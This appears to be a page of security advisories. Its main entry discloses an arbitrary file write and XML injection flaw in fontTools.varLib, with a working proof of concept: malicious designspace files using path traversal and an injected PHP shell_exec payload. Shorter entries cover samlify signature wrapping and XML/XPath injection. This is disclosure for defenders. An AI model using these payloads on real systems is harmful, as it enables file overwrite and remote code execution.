Summary
fontTools is Vulnerable to Arbitrary File Write and XML injection in fontTools.varLib
Details

Summary

The fonttools varLib (or python3 -m fontTools.varLib) script has an arbitrary file write vulnerability that leads to remote code execution when a malicious .designspace file is processed. The vulnerability affects the main() code path of fontTools.varLib, used by the fonttools varLib CLI and any code that invokes fontTools.varLib.main().

The vulnerability exists due to unsanitised filename handling combined with content injection. Attackers can write files to arbitrary filesystem locations via path traversal sequences, and inject malicious code (like PHP) into the output files through XML injection in labelname elements. When these files are placed in web-accessible locations and executed, this achieves remote code execution without requiring any elevated privileges. Once RCE is obtained, attackers can further escalate privileges to compromise system files (like overwriting /etc/passwd).

Overall this allows attackers to: - Write font files to arbitrary locations on the filesystem - Overwrite configuration files - Corrupt application files and dependencies - Obtain remote code execution

The attacker controls the file location, extension and contents which could lead to remote code execution as well as enabling a denial of service through file corruption means.

Affected Lines

fontTools/varLib/__init__.py

filename = vf.filename # Unsanitised filename
output_path = os.path.join(output_dir, filename) # Path traversal
vf.save(output_path) # Arbitrary file write

PoC

  1. Set up malicious.designspace and respective source-*.ttf files in a directory like /Users/<username>/testing/demo/ (will impact relative file location within malicious.designspace)

setup.py

#!/usr/bin/env python3
import os

from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen

def create_source_font(filename, weight=400):
    fb = FontBuilder(unitsPerEm=1000, isTTF=True)
    fb.setupGlyphOrder([".notdef"])
    fb.setupCharacterMap({})

    pen = TTGlyphPen(None)
    pen.moveTo((0, 0))
    pen.lineTo((500, 0))
    pen.lineTo((500, 500))
    pen.lineTo((0, 500))
    pen.closePath()

    fb.setupGlyf({".notdef": pen.glyph()})
    fb.setupHorizontalMetrics({".notdef": (500, 0)})
    fb.setupHorizontalHeader(ascent=800, descent=-200)
    fb.setupOS2(usWeightClass=weight)
    fb.setupPost()
    fb.setupNameTable({"familyName": "Test", "styleName": f"Weight{weight}"})
    fb.save(filename)

if __name__ == '__main__':
    os.chdir(os.path.dirname(os.path.abspath(__file__)))
    create_source_font("source-light.ttf", weight=100)
    create_source_font("source-regular.ttf", weight=400)

malicious.designspace

<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
  <axes>
    <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
  </axes>

  <sources>
    <source filename="source-light.ttf" name="Light">
      <location>
        <dimension name="Weight" xvalue="100"/>
      </location>
    </source>
    <source filename="source-regular.ttf" name="Regular">
      <location>
        <dimension name="Weight" xvalue="400"/>
      </location>
    </source>
  </sources>

  <!-- Filename can be arbitrarily set to any path on the filesystem -->
  <variable-fonts>
    <variable-font name="MaliciousFont" filename="../../tmp/newarbitraryfile.json">
      <axis-subsets>
        <axis-subset name="Weight"/>
      </axis-subsets>
    </variable-font>
  </variable-fonts>
</designspace>

Optional: You can put a file with any material within ../../tmp/newarbitraryfile.json in advance, the contents in the file will be overwritten after running the setup script in the following step.

  1. Run the setup.py script to generate source-*.tff files required for the malicious.designspace file.
python3 setup.py
  1. Execute the given payload using the vulnerable varLib saving the file into the arbitrary file location of filename
fonttools varLib malicious.designspace
  1. Validate arbitrary file write was performed by looking at path assigned within malicious designspace
cat {{filename_location}}
  1. After validating that we can provide arbitrary write to any location, we can also validate that we can control sections of content as well demonstrated with the below payload.

malicious2.designspace

<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
    <axes>
        <!-- XML injection occurs in labelname elements with CDATA sections -->
        <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
            <labelname xml:lang="en"><![CDATA[<?php echo shell_exec("/usr/bin/touch /tmp/MEOW123");?>]]]]><![CDATA[>]]></labelname>
            <labelname xml:lang="fr">MEOW2</labelname>
        </axis>
    </axes>
    <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
    <sources>
        <source filename="source-light.ttf" name="Light">
            <location>
                <dimension name="Weight" xvalue="100"/>
            </location>
        </source>
        <source filename="source-regular.ttf" name="Regular">
            <location>
                <dimension name="Weight" xvalue="400"/>
            </location>
        </source>
    </sources>
    <variable-fonts>
        <variable-font name="MyFont" filename="output.ttf">
            <axis-subsets>
                <axis-subset name="Weight"/>
            </axis-subsets>
        </variable-font>
    </variable-fonts>
    <instances>
        <instance name="Display Thin" familyname="MyFont" stylename="Thin">
            <location><dimension name="Weight" xvalue="100"/></location>
            <labelname xml:lang="en">Display Thin</labelname>
        </instance>
    </instances>
</designspace>
  1. When the program is run, we can show we control the contents in the new file
fonttools varLib malicious2.designspace -o file123

Here being outputted to a localised area ignoring filename presented in variable-font

  1. We can look inside file123 to validate user controlled injection
cat file123

to show <?php echo shell_exec("/usr/bin/touch /tmp/MEOW123");?>]]>

  1. Executing the file and reading looking at the newly generated file
php file123
ls -la /tmp/MEOW123

we can see that the file was just created showing RCE.

Recommendations

  • Ensure output file paths configured within designspace files are restricted to the local directory or consider further security measures to prevent arbitrary file write/overwrite within any directory on the system

Summary
Samlify vulnerable to Authentication Bypass by allowing tokens to be reused with different usernames
Details

Versions of samlify prior to 2.4.0-rc5 are vulnerable to Authentication Bypass. The package fails to prevent XML Signature Wrapping, allowing tokens to be reused with different usernames. A remote attacker can modify SAML content for a SAML service provider without invalidating the cryptographic signature, which may allow attackers to bypass primary authentication for the affected SAML service provider.

Recommendation

Upgrade to version 2.4.0-rc5 or later

Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
CAPEC-250: XML Injection

An attacker utilizes crafted XML user-controllable input to probe, attack, and inject data into the XML database, using techniques similar to SQL injection. The user-controllable input can allow for unauthorized viewing of data, bypassing authentication or the front-end application for direct XML database access, and possibly altering database information.

CAPEC-83: XPath Injection

An attacker can craft special user-controllable input consisting of XPath expressions to inject the XML database and bypass authentication or glean information that they normally would not be able to. XPath Injection enables an attacker to talk directly to the XML database, thus bypassing the application completely. XPath Injection results from the failure of an application to properly sanitize input used as part of dynamic XPath expressions used to query an XML database.
